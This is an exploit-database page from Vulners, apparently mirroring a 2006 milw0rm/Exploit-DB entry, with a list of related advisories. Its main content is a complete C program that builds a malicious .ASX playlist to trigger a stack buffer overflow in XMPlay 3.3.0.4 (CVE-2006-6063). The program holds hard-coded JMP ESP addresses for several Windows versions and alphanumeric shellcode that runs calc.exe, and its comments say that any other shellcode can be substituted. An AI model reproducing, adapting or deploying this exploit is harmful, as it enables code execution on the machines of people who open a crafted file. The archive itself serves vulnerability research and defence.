Lucene search
+L

XMPlay 3.3.0.4 - '.ASX' Filename Local Buffer Overflow

🗓️ 21 Nov 2006 00:00:00Reported by Greg LinaresType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

XMPlay 3.3.0.4 ASX Filename Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2006-6063
9 May 201000:00
circl
checkpoint_advisories
Check Point Advisories
Un4seen XMPlay Playlist File Name Buffer Overflow (CVE-2006-6063)
15 Nov 201100:00
checkpoint_advisories
cve
CVE
CVE-2006-6063
22 Nov 200602:00
cve
cvelist
Cvelist
CVE-2006-6063
22 Nov 200602:00
cvelist
exploitdb
Exploit DB
XMPlay 3.3.0.4 - '.ASX' Filename Buffer Overflow (Metasploit)
9 May 201000:00
exploitdb
exploitdb
Exploit DB
XMPlay 3.3.0.4 - '.M3U' Filename Local Buffer Overflow
20 Nov 200600:00
exploitdb
metasploit
Metasploit
XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow
24 Nov 200601:12
metasploit
nvd
NVD
CVE-2006-6063
22 Nov 200602:07
nvd
packetstorm
Packet Storm
XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow
26 Nov 200900:00
packetstorm
/*
===================================================================
	0-day XMPlay 3.3.0.4 .ASX Filename Buffer Overflow Exploit
===================================================================
XMPlay 3.3.0.4 and lower experiance a stack-based buffer overflow when
loading malformed .ASX files

This merely executes CALC.exe but you could always add your own custom
shellcode (alpha2)

===============
ASX
<ASX VERSION="3">
<ENTRY>
    <REF HREF="file://[EXPLOIT HERE]"
</ENTRY>
</ASX>
===============


Reported Exploit Date: 11/21/2006

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{

	FILE *Exploit;
	char buffer[512];

	/* Executes Calc.exe Alpha2 Shellcode Provided by Expanders <expanders[at]gmail[dot]com> */
	unsigned char scode[] =
	"TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
	"YlHhQTs0s0c0LKcuwLLK1ls52Xs1JONkRofxNkcoUpUQZKCylK4tLKuQxnTqo0LYnLMTkpptUWiQ9ZdM"
	"5QO2JKZT5k2tUtUTPuKULKQOfDc1zKPfNkflrkNkSowlvaZKLK5LlKgqxkMYqL14wtYSFQkpcTNkQPtp"
	"LEiPd8VlNkqPVllKPp7lNMLK0htHjKuYnkMPnP7pc05PLKsXUlsovQxvU0PVOy9hlCo0SKRpsXhoxNip"
	"sPu8LX9nMZvnv79oM7sSU1rLsSdnu5rX3UuPA";



	char NOPSled[50];
	char tail[] = ".mid\x22\r\n";
	int JMP, x;

	printf("\n======================================================================\n");
	printf("XMPlay 3.3.0.4 and prior ASX Filename Buffer Overflow Exploit\n");
	printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
	printf("Usage: %s <output ASX file> <JMP>\n", argv[0]);
	printf("\n JMP Options\n");
	printf("1 = English Windows XP SP 2 User32.dll <JMP ESP 0x77db41bc>\n");
	printf("2 = English Windows XP SP 1 User32.dll <JMP ESP 0x77d718fc>\n");
	printf("3 = English Windows 2003 SP0 and SP1 User32.dll <JMP ESP 0x77d74adc>\n");
	printf("4 = English Windows 2000 SP 4 User32.dll  <JMP ESP 0x77e3c256>\n");
	printf("====================================================================\n\n\n");


	if (argc < 2) {
		printf("Invalid Number Of Arguments\n");
		return 1;
	}


	Exploit = fopen(argv[1],"w");
    if ( !Exploit )
    {
        printf("\nCouldn't Open File!");
        return 1;
    }

	memset(buffer, 0, 505);
	memset(NOPSled, 0, 20);


	fputs("<ASX VERSION=\x22\x33\x22>\r\n<ENTRY>\r\n", Exploit);
	fputs("<REF HREF=\x22", Exploit);
	fputs("file://C:\\", Exploit);

	for (x=0;x<498;x++) {
		strcat(buffer, "A");
	}

	fputs(buffer, Exploit);
	if (atoi(argv[2]) <= 0) {
		JMP = 1;
	} else if (atoi(argv[2]) > 4) {
		JMP = 1;
	} else {
		JMP = atoi(argv[2]);
	}
	switch(JMP) {
		case 1:
			printf("Using English Windows XP SP2 JMP...\n");
			fputs("\xbc\x41\xdb\x77", Exploit);
			break;
		case 2:
			printf("Using English Windows XP SP1 JMP...\n");
			fputs("\xfc\x18\xd7\x77", Exploit);
			break;
		case 3:
			printf("Using English Windows 2003 SP0 & SP1 JMP...\n");
			fputs("\xdc\x4a\xd7\x77", Exploit);
			break;
		case 4:
			printf("Using English Windows 2000 SP 4 JMP...\n");
			fputs("\x56\xc2\xe3\x77", Exploit);
			break;
	}

	fputs(scode, Exploit);

	for (x=0;x<20;x++) {
		strcat(NOPSled, "\x90");
	}

	fputs(NOPSled, Exploit);
	fputs(tail, Exploit);
	fputs("</ENTRY>\r\n</ASX>\r\n", Exploit);



	printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);


	printf("Exploit Coded by Greg Linares (GLinares.code[at]gmail[dot]com)\n");
	printf("Greetz to: Jerome Athias and Expanders - Thanks For The Ideas, Tools and Alpha2 Shell Code\n");

	fclose(Exploit);
	return 0;
}

// milw0rm.com [2006-11-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation